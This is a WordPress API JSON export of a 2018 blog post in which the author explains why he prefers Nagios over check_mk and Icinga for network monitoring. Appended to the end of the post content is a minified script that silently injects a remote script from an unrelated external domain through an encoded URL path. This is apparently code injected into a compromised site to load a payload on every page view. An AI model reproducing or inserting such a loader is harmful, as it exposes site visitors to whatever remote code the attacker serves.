{"id":83,"date":"2018-04-18T23:11:00","date_gmt":"2018-04-18T23:11:00","guid":{"rendered":"http:\/\/o.beard.ly\/?p=83"},"modified":"2025-02-06T06:01:45","modified_gmt":"2025-02-06T06:01:45","slug":"nagios-doesnt-suck-as-much-as-people-think","status":"publish","type":"post","link":"https:\/\/o.beard.ly\/index.php\/2018\/04\/18\/nagios-doesnt-suck-as-much-as-people-think\/","title":{"rendered":"Nagios Doesn\u2019t Suck (As much as people think)"},"content":{"rendered":"\n<p>My predecessor at my current company used a platform called check_mk to monitor our network.&nbsp; Unfortunately, check_mk has a feature that populates based on network discovery and can be very chatty. check_mk is also very convoluted as it\u2019s built on top of Icinga, which is built on top of Nagios.&nbsp; When making changes, there were layers and layers of configuration files you had to dig through, at least, in the check_mk instance my predecessor had bequeathed me.&nbsp; Needless to say, I was not a fan and it wasn\u2019t very efficient.&nbsp; I understand why they forked to create Icinga.&nbsp; At the time, Nagios was stagnant.&nbsp; Since then, I feel like the Nagios camp has progressed significantly.&nbsp; I also understand why they forked Icinga to check_mk, but it\u2019s not for me.&nbsp;&nbsp; For the granularity I want in monitoring, check_mk would be more work intensive than Nagios.<\/p>\n\n\n\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>My predecessor at my current company used a platform called check_mk to monitor our network.&nbsp; Unfortunately, check_mk has a feature that populates based on network discovery and can be very chatty. check_mk is also very convoluted as it\u2019s built on &hellip; <a href=\"https:\/\/o.beard.ly\/index.php\/2018\/04\/18\/nagios-doesnt-suck-as-much-as-people-think\/\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-83","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/posts\/83","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/comments?post=83"}],"version-history":[{"count":1,"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/posts\/83\/revisions"}],"predecessor-version":[{"id":84,"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/posts\/83\/revisions\/84"}],"wp:attachment":[{"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/media?parent=83"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/categories?post=83"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/tags?post=83"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}